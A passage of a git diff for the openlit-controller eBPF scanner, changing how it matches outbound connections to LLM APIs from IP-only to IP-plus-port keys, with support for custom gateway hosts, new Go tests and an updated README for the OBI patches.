{return ip.To4(), uint16(portVal)}-// ResolveAllHosts resolves all LLM hostnames and returns the results.-// Used to feed both the BPF map and the ConnScanner's known IP set.-func ResolveAllHosts() map[string][]net.IP {- resolved := make(map[string][]net.IP, len(llmHosts))- for host := range llmHosts {- addrs, err := net.LookupHost(host)- if err != nil {- continue- }- for _, a := range addrs {- ip := net.ParseIP(a).To4()- if ip != nil {- resolved[host] = append(resolved[host], ip)- }- }- }- return resolved-}--// RefreshAndUpdateBoth refreshes DNS, updates both the BPF map and ConnScanner IPs.+// RefreshAndUpdateBoth resolves all targets once, programs the BPF endpoint map+// (with stale-key pruning, handled by the resolver) and updates the+// ConnScanner's known-endpoint set from the same resolution result.func RefreshAndUpdateBoth(resolver *HostResolver, connScan *ConnScanner, logger *zap.Logger) {- resolved := ResolveAllHosts()- for host, ips := range resolved {- provID := llmHosts[host]- for _, ip := range ips {- var key [4]byte- copy(key[:], ip.To4())- if err := resolver.ipMap.Put(key, provID); err != nil {- logger.Warn("failed to update BPF map", zap.String("ip", ip.String()), zap.Error(err))- }- }- logger.Debug("resolved LLM host", zap.String("host", host), zap.Int("ips", len(ips)))- }- connScan.UpdateIPs(resolved)- logger.Debug("updated conn scanner IPs", zap.Int("total_ips", countIPs(resolved)))-}--func countIPs(m map[string][]net.IP) int {- n := 0- for _, ips := range m {- n += len(ips)- }- return n+ resolved := resolveTargets(resolver.Targets(), logger)+ resolver.applyResolved(resolved)+ connScan.UpdateEndpoints(resolved)+ logger.Debug("updated conn scanner endpoints", zap.Int("total_endpoints", len(resolved)))}diff --git a/openlit-controller/internal/scanner/connscan_test.go b/openlit-controller/internal/scanner/connscan_test.goindex 728c04b4..dcb578f1 100644--- a/openlit-controller/internal/scanner/connscan_test.go+++ b/openlit-controller/internal/scanner/connscan_test.go@@ -140,10 +140,10 @@ func TestScanWithKnownIPsDoesNotPanic(t *testing.T) {logger, _ := zap.NewDevelopment()cs := NewConnScanner("/proc", logger)- // Add a bogus IP so the scanner actually iterates /proc- var key [4]byte- key[0], key[1], key[2], key[3] = 192, 0, 2, 1- cs.knownIPs[key] = 1+ // Add a bogus endpoint so the scanner actually iterates /proc+ key := endpointKey{Port: 443}+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 192, 0, 2, 1+ cs.knownEndpoints[key] = 1// Should not panic even scanning real /procevents := cs.Scan()@@ -158,45 +158,40 @@ func TestPIDBoundsCheckInScan(t *testing.T) {}}-func TestConnScannerUpdateIPs(t *testing.T) {+func TestConnScannerUpdateEndpoints(t *testing.T) {logger, _ := zap.NewDevelopment()cs := NewConnScanner("/proc", logger)- resolved := map[string][]net.IP{- "api.openai.com": {net.ParseIP("104.18.6.192")},- }- cs.UpdateIPs(resolved)-- if len(cs.knownIPs) != 1 {- t.Fatalf("expected 1 known IP, got %d", len(cs.knownIPs))- }-}+ openai := endpointKey{Port: 443}+ copy(openai.Addr[:], net.ParseIP("104.18.6.192").To4())+ litellm := endpointKey{Port: 4000}+ copy(litellm.Addr[:], net.ParseIP("10.0.0.5").To4())-func TestConnScannerUpdateIPsSkipsUnknownHosts(t *testing.T) {- logger, _ := zap.NewDevelopment()- cs := NewConnScanner("/proc", logger)+ cs.UpdateEndpoints(map[endpointKey]uint8{+ openai: 1,+ litellm: providerCustom,+ })- resolved := map[string][]net.IP{- "unknown-host.example.com": {net.ParseIP("1.2.3.4")},+ if len(cs.knownEndpoints) != 2 {+ t.Fatalf("expected 2 known endpoints, got %d", len(cs.knownEndpoints))}- cs.UpdateIPs(resolved)-- if len(cs.knownIPs) != 0 {- t.Fatalf("expected 0 known IPs for unknown host, got %d", len(cs.knownIPs))+ if cs.knownEndpoints[litellm] != providerCustom {+ t.Fatalf("expected litellm provider for :4000 endpoint, got %d", cs.knownEndpoints[litellm])}}-func TestConnScannerUpdateIPsSkipsIPv6(t *testing.T) {+func TestConnScannerUpdateEndpointsReplaces(t *testing.T) {logger, _ := zap.NewDevelopment()cs := NewConnScanner("/proc", logger)- resolved := map[string][]net.IP{- "api.openai.com": {net.ParseIP("2001:db8::1")},- }- cs.UpdateIPs(resolved)+ first := endpointKey{Port: 443}+ copy(first.Addr[:], net.ParseIP("1.2.3.4").To4())+ cs.UpdateEndpoints(map[endpointKey]uint8{first: 1})- if len(cs.knownIPs) != 0 {- t.Fatalf("expected 0 known IPs for pure IPv6, got %d", len(cs.knownIPs))+ // A subsequent update replaces (does not merge) the set.+ cs.UpdateEndpoints(map[endpointKey]uint8{})+ if len(cs.knownEndpoints) != 0 {+ t.Fatalf("expected endpoints to be replaced/cleared, got %d", len(cs.knownEndpoints))}}@@ -204,7 +199,7 @@ func TestScanTCPFileWithInodesNonexistent(t *testing.T) {logger, _ := zap.NewDevelopment()cs := NewConnScanner("/proc", logger)- matches := cs.scanTCPFileWithInodes("/nonexistent/tcp", false)+ matches := cs.scanTCPFileWithInodes("/nonexistent/tcp", false, cs.knownEndpoints)if matches != nil {t.Fatalf("expected nil for nonexistent file, got %d matches", len(matches))}@@ -214,10 +209,10 @@ func TestScanTCPFileWithInodesValidFile(t *testing.T) {logger, _ := zap.NewDevelopment()cs := NewConnScanner("/proc", logger)- // Add a known IP so we can potentially match- var key [4]byte- key[0], key[1], key[2], key[3] = 192, 0, 2, 1- cs.knownIPs[key] = 1+ // Add a known endpoint (192.0.2.1:443) so we can match the rem_address below+ key := endpointKey{Port: 443}+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 192, 0, 2, 1+ cs.knownEndpoints[key] = 1// Create a temp file simulating /proc/net/tcpdir := t.TempDir()@@ -229,7 +224,7 @@ func TestScanTCPFileWithInodesValidFile(t *testing.T) {t.Fatal(err)}- matches := cs.scanTCPFileWithInodes(tcpFile, false)+ matches := cs.scanTCPFileWithInodes(tcpFile, false, cs.knownEndpoints)if len(matches) != 1 {t.Fatalf("expected 1 match, got %d", len(matches))}diff --git a/openlit-controller/internal/scanner/hosts.go b/openlit-controller/internal/scanner/hosts.goindex e6fec3bd..8b59cf04 100644--- a/openlit-controller/internal/scanner/hosts.go+++ b/openlit-controller/internal/scanner/hosts.go@@ -3,27 +3,45 @@package scannerimport (- "context"+ "encoding/binary""net"- "time"+ "strconv"+ "strings""github.com/cilium/ebpf""go.uber.org/zap")-var llmHosts = map[string]uint8{- "api.openai.com": 1, // PROVIDER_OPENAI- "api.anthropic.com": 2, // PROVIDER_ANTHROPIC- "generativelanguage.googleapis.com": 3, // PROVIDER_GEMINI- "api.cohere.com": 4, // PROVIDER_COHERE- "api.mistral.ai": 5, // PROVIDER_MISTRAL- "api.groq.com": 6, // PROVIDER_GROQ- "api.deepseek.com": 7, // PROVIDER_DEEPSEEK- "api.together.xyz": 8, // PROVIDER_TOGETHER- "api.fireworks.ai": 9, // PROVIDER_FIREWORKS- "ai-gateway.vercel.sh": 10, // PROVIDER_VERCEL_AI- "aiplatform.googleapis.com": 11, // PROVIDER_VERTEX_AI- "models.inference.ai.azure.com": 12, // PROVIDER_AZURE_INFERENCE (GitHub Models)+// endpointKey mirrors `struct llm_endpoint_key` in bpf/llm_scanner.h. The+// layout (u32 addr in network byte order, u16 port in host byte order, packed)+// must stay byte-identical to the C struct so BPF map lookups match.+type endpointKey struct {+ Addr [4]byte+ Port uint16+}++// llmTarget describes one hostname (or IP) to monitor, the destination port,+// and the provider ID to attribute matched connections to.+type llmTarget struct {+ Host string+ Port uint16+ ProviderID uint8+}++// builtinTargets are the public SaaS LLM endpoints, all on HTTPS (443).+var builtinTargets = []llmTarget{+ {Host: "api.openai.com", Port: 443, ProviderID: 1}, // PROVIDER_OPENAI+ {Host: "api.anthropic.com", Port: 443, ProviderID: 2}, // PROVIDER_ANTHROPIC+ {Host: "generativelanguage.googleapis.com", Port: 443, ProviderID: 3}, // PROVIDER_GEMINI+ {Host: "api.cohere.com", Port: 443, ProviderID: 4}, // PROVIDER_COHERE+ {Host: "api.mistral.ai", Port: 443, ProviderID: 5}, // PROVIDER_MISTRAL+ {Host: "api.groq.com", Port: 443, ProviderID: 6}, // PROVIDER_GROQ+ {Host: "api.deepseek.com", Port: 443, ProviderID: 7}, // PROVIDER_DEEPSEEK+ {Host: "api.together.xyz", Port: 443, ProviderID: 8}, // PROVIDER_TOGETHER+ {Host: "api.fireworks.ai", Port: 443, ProviderID: 9}, // PROVIDER_FIREWORKS+ {Host: "ai-gateway.vercel.sh", Port: 443, ProviderID: 10}, // PROVIDER_VERCEL_AI+ {Host: "aiplatform.googleapis.com", Port: 443, ProviderID: 11}, // PROVIDER_VERTEX_AI+ {Host: "models.inference.ai.azure.com", Port: 443, ProviderID: 12}, // PROVIDER_AZURE_INFERENCE (GitHub Models)}// Well-known Bedrock regions. New regions are detected dynamically if@@ -36,55 +54,188 @@ var bedrockRegions = []string{func init() {var id uint8 = 20for _, region := range bedrockRegions {- llmHosts["bedrock-runtime."+region+".amazonaws.com"] = id+ builtinTargets = append(builtinTargets, llmTarget{+ Host: "bedrock-runtime." + region + ".amazonaws.com",+ Port: 443,+ ProviderID: id,+ })id++}}// HostResolver periodically resolves LLM API hostnames and updates the BPF map.+// It owns the set of targets (built-in + user-configured custom hosts) and the+// last-resolved BPF keys so it can prune stale entries on each refresh.type HostResolver struct {- ipMap *ebpf.Map- logger *zap.Logger+ epMap *ebpf.Map+ logger *zap.Logger+ targets []llmTarget+ custom []llmTarget+ live map[endpointKey]struct{} // keys currently programmed into the BPF map+}++// NewHostResolver creates a resolver that keeps the BPF endpoint map updated.+func NewHostResolver(epMap *ebpf.Map, logger *zap.Logger) *HostResolver {+ r := &HostResolver{+ epMap: epMap,+ logger: logger,+ live: make(map[endpointKey]struct{}),+ }+ r.rebuildTargets()+ return r}-// NewHostResolver creates a resolver that keeps the BPF IPv4 map updated.-func NewHostResolver(ipMap *ebpf.Map, logger *zap.Logger) *HostResolver {- return &HostResolver{ipMap: ipMap, logger: logger}+// SetCustomTargets replaces the user-configured custom targets. The combined+// target set takes effect on the next Refresh.+func (r *HostResolver) SetCustomTargets(custom []llmTarget) {+ r.custom = custom+ r.rebuildTargets()}-// Refresh resolves all LLM hostnames and updates the BPF hash map only.-func (r *HostResolver) Refresh() {- for host, providerID := range llmHosts {- ips, err := net.LookupHost(host)- if err != nil {- r.logger.Debug("failed to resolve LLM host", zap.String("host", host), zap.Error(err))- continue+func (r *HostResolver) rebuildTargets() {+ combined := make([]llmTarget, 0, len(builtinTargets)+len(r.custom))+ combined = append(combined, builtinTargets...)+ combined = append(combined, r.custom...)+ r.targets = combined+}++// Targets returns the current combined target set (built-in + custom).+func (r *HostResolver) Targets() []llmTarget {+ out := make([]llmTarget, len(r.targets))+ copy(out, r.targets)+ return out+}++// applyResolved reconciles the BPF endpoint map against a freshly resolved set:+// it adds keys for newly resolved IP+port pairs and removes keys that are no+// longer present (e.g. after DNS changes or a custom host being removed).+func (r *HostResolver) applyResolved(resolved map[endpointKey]uint8) {+ next := make(map[endpointKey]struct{}, len(resolved))+ for key, providerID := range resolved {+ next[key] = struct{}{}+ if err := r.epMap.Put(key, providerID); err != nil {+ r.logger.Warn("failed to update BPF endpoint map",+ zap.String("ip", net.IP(key.Addr[:]).String()),+ zap.Uint16("port", key.Port),+ zap.Error(err))}- for _, ipStr := range ips {- ip := net.ParseIP(ipStr).To4()- if ip == nil {+ }++ for key := range r.live {+ if _, ok := next[key]; !ok {+ if err := r.epMap.Delete(key); err != nil {+ r.logger.Debug("failed to delete stale BPF endpoint",+ zap.String("ip", net.IP(key.Addr[:]).String()),+ zap.Uint16("port", key.Port),+ zap.Error(err))+ }+ }+ }+ r.live = next+}++// resolveTargets resolves every target's host to its IPv4 addresses and returns+// the BPF endpoint keys (IP+port) mapped to the provider ID. Targets whose host+// is already a literal IP are used directly without a DNS lookup, which is the+// common case for self-hosted proxies addressed by IP.+func resolveTargets(targets []llmTarget, logger *zap.Logger) map[endpointKey]uint8 {+ out := make(map[endpointKey]uint8, len(targets)*2)+ for _, t := range targets {+ var ips []net.IP+ if ip := net.ParseIP(t.Host); ip != nil {+ ips = []net.IP{ip}+ } else {+ addrs, err := net.LookupHost(t.Host)+ if err != nil {+ if logger != nil {+ logger.Debug("failed to resolve LLM host", zap.String("host", t.Host), zap.Error(err))+ }continue}- var key [4]byte- copy(key[:], ip)- if err := r.ipMap.Put(key, providerID); err != nil {- r.logger.Warn("failed to update BPF map", zap.String("ip", ipStr), zap.Error(err))+ for _, a := range addrs {+ if ip := net.ParseIP(a); ip != nil {+ ips = append(ips, ip)+ }}}- r.logger.Debug("resolved LLM host", zap.String("host", host), zap.Int("ips", len(ips)))+ for _, ip := range ips {+ ip4 := ip.To4()+ if ip4 == nil {+ continue+ }+ var key endpointKey+ copy(key.Addr[:], ip4)+ key.Port = t.Port+ out[key] = t.ProviderID+ }+ if logger != nil {+ logger.Debug("resolved LLM target",+ zap.String("host", t.Host),+ zap.Uint16("port", t.Port),+ zap.Int("ips", len(ips)))+ }}+ return out}-// RunRefreshLoop refreshes host IPs at the given interval until ctx is cancelled.-func (r *HostResolver) RunRefreshLoop(ctx context.Context, interval time.Duration) {- ticker := time.NewTicker(interval)- defer ticker.Stop()- for {- select {- case <-ctx.Done():- return- case <-ticker.C:- r.Refresh()+// ParseCustomHostSpecs converts user-supplied "host[:port]" strings into+// targets. A spec without a port defaults to 443. IPv6 literal hosts must be+// bracketed (e.g. "[::1]:11434"); they are accepted here but only IPv4+// resolution is currently honoured downstream. Invalid specs are logged and+// skipped rather than failing the whole update.+func ParseCustomHostSpecs(specs []string, logger *zap.Logger) []llmTarget {+ targets := make([]llmTarget, 0, len(specs))+ for _, raw := range specs {+ spec := strings.TrimSpace(raw)+ if spec == "" {+ continue+ }++ host := spec+ var port uint16 = 443++ if h, p, err := net.SplitHostPort(spec); err == nil {+ pn, perr := strconv.ParseUint(p, 10, 16)+ if perr != nil || pn == 0 {+ if logger != nil {+ logger.Warn("skipping custom LLM host with invalid port", zap.String("spec", spec))+ }+ continue+ }+ host = h+ port = uint16(pn)+ } else if strings.Contains(spec, ":") && !strings.HasPrefix(spec, "[") {+ // A bare IPv6 literal (e.g. "::1") trips SplitHostPort; treat the+ // whole spec as the host on the default port.+ if ip := net.ParseIP(spec); ip == nil {+ if logger != nil {+ logger.Warn("skipping malformed custom LLM host", zap.String("spec", spec))+ }+ continue+ }+ }++ host = strings.TrimSpace(host)+ if host == "" {+ continue}++ targets = append(targets, llmTarget{+ Host: host,+ Port: port,+ ProviderID: providerCustom,+ })}+ return targets+}++// MarshalBinary encodes endpointKey to match the packed C struct layout:+// 4-byte addr (already network byte order) followed by 2-byte port in the+// host byte order the BPF program stores it in. cilium/ebpf calls this when+// the key implements encoding.BinaryMarshaler.+func (k endpointKey) MarshalBinary() ([]byte, error) {+ b := make([]byte, 6)+ copy(b[0:4], k.Addr[:])+ binary.LittleEndian.PutUint16(b[4:6], k.Port)+ return b, nil}diff --git a/openlit-controller/internal/scanner/hosts_test.go b/openlit-controller/internal/scanner/hosts_test.gonew file mode 100644index 00000000..87bd509c--- /dev/null+++ b/openlit-controller/internal/scanner/hosts_test.go@@ -0,0 +1,158 @@+//go:build linux++package scanner++import (+ "encoding/binary"+ "net"+ "os"+ "path/filepath"+ "testing"++ "go.uber.org/zap"+)++func TestParseCustomHostSpecs(t *testing.T) {+ logger, _ := zap.NewDevelopment()++ cases := []struct {+ spec string+ wantHost string+ wantPort uint16+ wantProv uint8+ }{+ // Every custom spec maps to providerCustom regardless of port — we do not+ // infer the specific vendor from the port.+ {"litellm.internal:4000", "litellm.internal", 4000, providerCustom},+ {"ollama.local:11434", "ollama.local", 11434, providerCustom},+ {"vllm.svc:8000", "vllm.svc", 8000, providerCustom},+ {"my-azure.openai.azure.com", "my-azure.openai.azure.com", 443, providerCustom},+ {" gateway.internal:9999 ", "gateway.internal", 9999, providerCustom},+ {"127.0.0.1:11434", "127.0.0.1", 11434, providerCustom},+ }++ for _, tc := range cases {+ got := ParseCustomHostSpecs([]string{tc.spec}, logger)+ if len(got) != 1 {+ t.Fatalf("spec %q: expected 1 target, got %d", tc.spec, len(got))+ }+ tgt := got[0]+ if tgt.Host != tc.wantHost || tgt.Port != tc.wantPort || tgt.ProviderID != tc.wantProv {+ t.Fatalf("spec %q: got %+v, want host=%s port=%d prov=%d",+ tc.spec, tgt, tc.wantHost, tc.wantPort, tc.wantProv)+ }+ }+}++func TestParseCustomHostSpecsSkipsInvalid(t *testing.T) {+ logger, _ := zap.NewDevelopment()++ // Empty, blank, zero-port and non-numeric-port specs are dropped.+ got := ParseCustomHostSpecs([]string{"", " ", "host:0", "host:notaport"}, logger)+ if len(got) != 0 {+ t.Fatalf("expected all invalid specs dropped, got %d: %+v", len(got), got)+ }+}++func TestParseHexIPPortNon443(t *testing.T) {+ // A0000F:0FA0 → 4000 in hex is 0FA0; build "0A00000A:0FA0" = 10.0.0.10:4000+ ip, port := parseHexIPPort("0A00000A:0FA0", false)+ if port != 4000 {+ t.Fatalf("expected port 4000, got %d", port)+ }+ if ip == nil || ip[0] != 10 || ip[3] != 10 {+ t.Fatalf("unexpected IP %s", ip)+ }+}++// TestScanTCPFileMatchesNon443 verifies the connscan no longer hard-requires+// port 443: a LiteLLM-style connection on :4000 is matched when its endpoint+// (IP+port) is in the known set.+func TestScanTCPFileMatchesNon443(t *testing.T) {+ logger, _ := zap.NewDevelopment()+ cs := NewConnScanner("/proc", logger)++ // 10.0.0.10:4000+ key := endpointKey{Port: 4000}+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 10, 0, 0, 10+ cs.knownEndpoints[key] = providerCustom++ dir := t.TempDir()+ tcpFile := filepath.Join(dir, "tcp")+ // rem_address 0A00000A:0FA0 = 10.0.0.10:4000, state 01 (ESTABLISHED), inode 55555+ content := ` sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode+ 0: 0100007F:C350 0A00000A:0FA0 01 00000000:00000000 00:00000000 00000000 0 0 55555 1 0000000000000000 100 0 0 10 0+`+ if err := os.WriteFile(tcpFile, []byte(content), 0644); err != nil {+ t.Fatal(err)+ }++ matches := cs.scanTCPFileWithInodes(tcpFile, false, cs.knownEndpoints)+ if len(matches) != 1 {+ t.Fatalf("expected 1 non-443 match, got %d", len(matches))+ }+ if matches[0].remotePort != 4000 || matches[0].providerID != providerCustom {+ t.Fatalf("unexpected match %+v", matches[0])+ }+}++// TestScanTCPFileIgnoresWrongPort verifies that a connection to a known IP on a+// port that is NOT in the endpoint set is ignored (no IP-only matching).+func TestScanTCPFileIgnoresWrongPort(t *testing.T) {+ logger, _ := zap.NewDevelopment()+ cs := NewConnScanner("/proc", logger)++ // Known endpoint is 10.0.0.10:4000 ...+ key := endpointKey{Port: 4000}+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 10, 0, 0, 10+ cs.knownEndpoints[key] = providerCustom++ dir := t.TempDir()+ tcpFile := filepath.Join(dir, "tcp")+ // ... but the connection is to 10.0.0.10:443 (0FA0 → 01BB), should NOT match.+ content := ` sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode+ 0: 0100007F:C350 0A00000A:01BB 01 00000000:00000000 00:00000000 00000000 0 0 55555 1 0000000000000000 100 0 0 10 0+`+ if err := os.WriteFile(tcpFile, []byte(content), 0644); err != nil {+ t.Fatal(err)+ }++ matches := cs.scanTCPFileWithInodes(tcpFile, false, cs.knownEndpoints)+ if len(matches) != 0 {+ t.Fatalf("expected no match for known IP on unknown port, got %d", len(matches))+ }+}++func TestEndpointKeyMarshalBinary(t *testing.T) {+ key := endpointKey{Port: 11434}+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 127, 0, 0, 1++ b, err := key.MarshalBinary()+ if err != nil {+ t.Fatal(err)+ }+ if len(b) != 6 {+ t.Fatalf("expected 6-byte key, got %d", len(b))+ }+ if b[0] != 127 || b[1] != 0 || b[2] != 0 || b[3] != 1 {+ t.Fatalf("addr bytes wrong: %v", b[:4])+ }+ // Port stored little-endian to match the bpfel struct layout.+ if got := binary.LittleEndian.Uint16(b[4:6]); got != 11434 {+ t.Fatalf("expected port 11434 LE, got %d", got)+ }+}++func TestResolveTargetsLiteralIP(t *testing.T) {+ logger, _ := zap.NewDevelopment()+ resolved := resolveTargets([]llmTarget{+ {Host: "10.1.2.3", Port: 4000, ProviderID: providerCustom},+ }, logger)++ var key endpointKey+ copy(key.Addr[:], net.ParseIP("10.1.2.3").To4())+ key.Port = 4000+ if resolved[key] != providerCustom {+ t.Fatalf("expected literal IP target resolved to litellm, got %+v", resolved)+ }+}diff --git a/openlit-controller/internal/scanner/scanner.go b/openlit-controller/internal/scanner/scanner.goindex 2b33e3b3..f6def4d3 100644--- a/openlit-controller/internal/scanner/scanner.go+++ b/openlit-controller/internal/scanner/scanner.go@@ -40,6 +40,7 @@ type Scanner struct {procRoot stringcloseCh chan struct{}closeOnce sync.Once+ refreshMu sync.Mutex // serialises host resolution / map reconciliation}// New loads the BPF program, attaches kprobes, and initialises the host resolver.@@ -74,7 +75,7 @@ func New(logger *zap.Logger, procRoot string) (*Scanner, error) {return nil, fmt.Errorf("create ring buffer reader: %w", err)}- resolver := NewHostResolver(objs.LlmIpv4, logger)+ resolver := NewHostResolver(objs.LlmEndpoints, logger)connScan := NewConnScanner(procRoot, logger)// Initial DNS resolution populates both the BPF map and the ConnScanner IP set@@ -110,11 +111,29 @@ func (s *Scanner) runHostRefreshLoop(ctx context.Context) {case <-ctx.Done():returncase <-ticker.C:+ s.refreshMu.Lock()RefreshAndUpdateBoth(s.resolver, s.connScan, s.logger)+ s.refreshMu.Unlock()}}}+// UpdateCustomHosts replaces the user-configured custom monitoring targets and+// immediately reconciles the BPF map and ConnScanner endpoint set. Each spec is+// "host[:port]"; when the port is omitted it defaults to 443. The provider is+// inferred from a well-known port (LiteLLM/Ollama/vLLM) and otherwise reported+// as "custom". Safe to call concurrently with the refresh loop.+func (s *Scanner) UpdateCustomHosts(specs []string) {+ targets := ParseCustomHostSpecs(specs, s.logger)++ s.refreshMu.Lock()+ defer s.refreshMu.Unlock()++ s.resolver.SetCustomTargets(targets)+ RefreshAndUpdateBoth(s.resolver, s.connScan, s.logger)+ s.logger.Info("custom LLM hosts updated", zap.Int("count", len(targets)))+}+// Events returns the channel that emits LLM connection events.func (s *Scanner) Events() <-chan LLMConnectEvent {return s.eventsChdiff --git a/openlit-controller/internal/scanner/scanner_stub.go b/openlit-controller/internal/scanner/scanner_stub.goindex fa215229..4170e49c 100644--- a/openlit-controller/internal/scanner/scanner_stub.go+++ b/openlit-controller/internal/scanner/scanner_stub.go@@ -27,3 +27,6 @@ func (s *Scanner) Events() <-chan LLMConnectEvent { return nil }// Close is a no-op on non-Linux.func (s *Scanner) Close() error { return nil }++// UpdateCustomHosts is a no-op on non-Linux.+func (s *Scanner) UpdateCustomHosts(_ []string) {}diff --git a/openlit-controller/internal/scanner/types.go b/openlit-controller/internal/scanner/types.goindex 8ac7c245..48f3fae3 100644--- a/openlit-controller/internal/scanner/types.go+++ b/openlit-controller/internal/scanner/types.go@@ -19,6 +19,7 @@ var providerNames = map[uint8]string{10: "vercel_ai",11: "vertex_ai",12: "azure_inference",+ 13: "custom",// IDs 20-26 are Bedrock regions (assigned dynamically in hosts.go init)20: "bedrock",21: "bedrock",@@ -28,3 +29,10 @@ var providerNames = map[uint8]string{25: "bedrock",26: "bedrock",}++// providerCustom is the single provider ID assigned to every user-configured+// custom LLM gateway (LiteLLM, vLLM, Ollama, LocalAI, ...). We deliberately do+// not infer the specific vendor from the port: the workload is surfaced as a+// "Custom LLM Gateway" either way, and payload extraction uses the generic+// OpenAI-compatible parser.+const providerCustom uint8 = 13diff --git a/openlit-controller/patches/README.md b/openlit-controller/patches/README.mdindex 058da9e0..5d5863d3 100644--- a/openlit-controller/patches/README.md+++ b/openlit-controller/patches/README.md@@ -1,26 +1,48 @@# OBI Patches-This directory contains patch files applied on top of the upstream OBI (OpenTelemetry eBPF Instrumentation) v0.8.0 during Docker build.--## Patch Files--- `config.patch` - Adds config types and flags for new GenAI providers (Cohere, Mistral, Groq, Deepseek, Together, Fireworks, Ollama, Azure OpenAI)-- `http_transform.patch` - Adds hostname routing for OpenAI-compatible providers in the HTTP transform layer-- `span.patch` - Adds span subtypes, VendorCohere struct, and getter functions for new providers--## Creating Patches--After modifying files in `.obi-src/`, generate patches:+This directory contains patch files applied on top of upstream OBI (OpenTelemetry+eBPF Instrumentation) **v0.9.0** during the Docker build (see the obi-builder stage+in `../Dockerfile`).++## What we add++OBI v0.9.0 natively supports OpenAI, Anthropic, Gemini, Qwen, Bedrock, MCP,+Embedding, and Rerank. On top of that we add two GenAI extractors:++- **`custom`** — a generic OpenAI-compatible gateway extractor (LiteLLM, vLLM,+ LocalAI, OpenRouter, Ollama's `/v1/` endpoint, ...). It reuses upstream+ `OpenAISpan` and is safe to enable broadly because `OpenAISpan` returns+ `ok=false` on non-OpenAI-shaped bodies. Spans report no provider name (the+ backend vendor behind the gateway is unknown); discovery (IP+port) is the+ authoritative attribution.+- **`ollama`** — a parser for Ollama's NATIVE API (`/api/chat`, `/api/generate`),+ whose JSON schema differs from OpenAI (`prompt_eval_count`/`eval_count`,+ `message.content`/`response`). Path-gated so it never matches the `/v1/` path.++## Files++- `providers/ollama/ollama.go` (in the repo root, NOT a patch) — the standalone+ `OllamaSpan` parser. The Dockerfile copies `providers/*/*.go` into+ `pkg/ebpf/common/http/` before applying patches.+- `config.patch` — adds `CustomConfig` + `OllamaConfig` to `GenAIConfig` and ORs+ them into `GenAIConfig.Enabled()`.+- `span.patch` — adds `HTTPSubtypeCustom` (15) + `HTTPSubtypeOllama` (16), extends+ `IsGenAISubtype`, adds the `Custom *VendorOpenAI` and `Ollama *VendorOllama`+ fields + the `VendorOllama` struct, and extends the GenAI getters.+- `http_transform.patch` — adds the routing branches (`OllamaSpan` for the native+ path; `OpenAISpan` reused for `custom`, placed last) in `http_transform.go`, and+ the per-subtype trace-attribute emission in `tracesgen.go`.++## Re-creating / rebasing patches (e.g. for the next OBI version)```bash-cd .obi-src-git diff > ../patches/<name>.patch+git clone --depth 1 --branch <version> <OBI_REPO> /tmp/obi-rebase+cd /tmp/obi-rebase+cp <repo>/openlit-controller/providers/ollama/ollama.go pkg/ebpf/common/http/+# edit the four files, then:+git diff -- pkg/config/payload_extraction.go > <repo>/openlit-controller/patches/config.patch+git diff -- pkg/appolly/app/request/span.go > <repo>/openlit-controller/patches/span.patch+git diff -- pkg/ebpf/common/http_transform.go pkg/export/otel/tracesgen/tracesgen.go > <repo>/openlit-controller/patches/http_transform.patch```-## Applying Patches--Patches are applied automatically by `make vendor-providers`. To apply manually:--```bash-cd .obi-src && git apply ../patches/<name>.patch-```+Verify on a clean checkout: copy `ollama.go` in, then `git apply --check patches/*.patch`.diff --git a/openlit-controller/patches/config.patch b/openlit-controller/patches/config.patchindex 9f941086..3ff91ac1 100644--- a/openlit-controller/patches/config.patch+++ b/openlit-controller/patches/config.patch@@ -1,76 +1,48 @@diff --git a/pkg/config/payload_extraction.go b/pkg/config/payload_extraction.go-index 95eb0ad..8367548 100644+index 1b67d5c..339fa8a 100644--- a/pkg/config/payload_extraction.go+++ b/pkg/config/payload_extraction.go-@@ -77,11 +77,31 @@ type GenAIConfig struct {- Gemini GeminiConfig `yaml:"gemini"`- // AWS Bedrock payload extraction and parsing- Bedrock BedrockConfig `yaml:"bedrock"`-+ // Cohere payload extraction and parsing-+ Cohere CohereConfig `yaml:"cohere"`-+ // Mistral (OpenAI-compatible) payload extraction and parsing-+ Mistral MistralConfig `yaml:"mistral"`-+ // Groq (OpenAI-compatible) payload extraction and parsing-+ Groq GroqConfig `yaml:"groq"`-+ // Deepseek (OpenAI-compatible) payload extraction and parsing-+ Deepseek DeepseekConfig `yaml:"deepseek"`-+ // Together (OpenAI-compatible) payload extraction and parsing-+ Together TogetherConfig `yaml:"together"`-+ // Fireworks (OpenAI-compatible) payload extraction and parsing-+ Fireworks FireworksConfig `yaml:"fireworks"`-+ // Ollama payload extraction and parsing+@@ -85,13 +85,20 @@ type GenAIConfig struct {+ Embedding EmbeddingProviderConfig `yaml:"embedding"`+ // Rerank payload extraction and parsing (Cohere, Jina AI, Voyage AI, etc.)+ Rerank RerankConfig `yaml:"rerank"`++ // Custom OpenAI-compatible gateway (LiteLLM, vLLM, LocalAI, OpenRouter, ...)++ // payload extraction and parsing. Reuses the OpenAI parser; safe to enable++ // broadly because OpenAISpan returns ok=false on non-OpenAI-shaped bodies.++ Custom CustomConfig `yaml:"custom"`++ // Ollama native API (/api/chat, /api/generate) payload extraction and parsing.+ Ollama OllamaConfig `yaml:"ollama"`-+ // Azure OpenAI (OpenAI-compatible) payload extraction and parsing-+ AzureOpenAI AzureOpenAIConfig `yaml:"azure_openai"`}func (g *GenAIConfig) Enabled() bool {return g.Anthropic.Enabled || g.OpenAI.Enabled ||-- g.Gemini.Enabled || g.Bedrock.Enabled-+ g.Gemini.Enabled || g.Bedrock.Enabled ||-+ g.Cohere.Enabled || g.Mistral.Enabled ||-+ g.Groq.Enabled || g.Deepseek.Enabled ||-+ g.Together.Enabled || g.Fireworks.Enabled ||-+ g.Ollama.Enabled || g.AzureOpenAI.Enabled+ g.Gemini.Enabled || g.Qwen.Enabled || g.Bedrock.Enabled ||+ g.MCP.Enabled ||+- g.Embedding.Enabled || g.Rerank.Enabled++ g.Embedding.Enabled || g.Rerank.Enabled ||++ g.Custom.Enabled || g.Ollama.Enabled}type OpenAIConfig struct {-@@ -104,6 +124,38 @@ type BedrockConfig struct {- Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_BEDROCK_ENABLED" validate:"boolean"`+@@ -129,6 +136,21 